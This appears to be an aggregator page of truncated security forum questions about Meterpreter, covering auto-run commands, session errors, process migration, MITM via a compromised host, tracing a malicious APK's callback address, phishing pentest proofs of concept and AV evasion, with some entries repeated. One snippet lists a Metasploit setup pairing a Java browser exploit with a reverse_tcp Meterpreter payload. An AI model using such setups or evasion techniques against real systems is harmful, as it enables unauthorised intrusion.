Collaborate Disseminate
Is there a way to run one or multiple meterpreter commands automatically, as soon as the listener gets a connection (i.e session is established with a target)? I want to run the ‘hide_app_icon’ command as soon as a session is… Continue reading Auto execute meterpreter commands on session start
I use this settings
use multi/browser/java_jre17_jmxbean2
set payload java/meterpreter/reverse_tcp
set lhost 192.168.1.100
set srvhost 192.168.1.100
set lport 4444
set srvport 8080
After starting meterpreter session it’s c… Continue reading Meterpreter session is not valid and will be closed [on hold]
Is it possible to perform a MITM Attack through a compromised Windows Machine in a internal LAN?
How would be the attacker’s scenario? How to do this?
I find myself targeted with a malicious .apk file. I am provided with some malicious files disguised as a genuine .apk.
I used apktool to decompile the file and collect some information about the attacker. I could find none… Continue reading How to find external ip address a payload uses to connect back to the attacker?
I find myself targeted with a malicious .apk file. I am provided with some malicious files disguised as a genuine .apk.
I used apktool to decompile the file and collect some information about the attacker. I could find none (please point… Continue reading How to find external ip address a payload uses to connect back to the attacker?
If you have an 32bit Meterpreter running on a 64 bit remote system you can migrate into 64 bit processes.
This isn’t anything new and has been used by malware for ages but the thing that makes me think is how does it do this… Continue reading How does 32 bit Meterpreter migrate into 64 bit process?
If you have an 32bit Meterpreter running on a 64 bit remote system you can migrate into 64 bit processes.
This isn’t anything new and has been used by malware for ages but the thing that makes me think is how does it do this… Continue reading How does 32 bit Meterpreter migrate into 64 bit process?
So I am part of the team where in we have to conduct a penetration testing assignment for our client. Basically what he wants from us is to show how we can get into their system with the help of phishing, and for the POC he wants us to show the listener which we set up.
Idea wise this is correct but I am stuck at the execution.
Feel free to correct me if I am wrong at anyplace. I am new in this area so could have missed few things.
Continue reading Penetration testing of windows ( Corporate systems )
I am busy with security testing on a clients network and was asked to show how “easy” AV evasion is. I created a nice powershell reverse HTTPS file through veil-evasion, which is not detected by the Symantec virusscanner (tes… Continue reading Meterpreter HTTPS detected by IPS
I am busy with security testing on a clients network and was asked to show how “easy” AV evasion is. I created a nice powershell reverse HTTPS file through veil-evasion, which is not detected by the Symantec virusscanner (tes… Continue reading Meterpreter HTTPS detected by IPS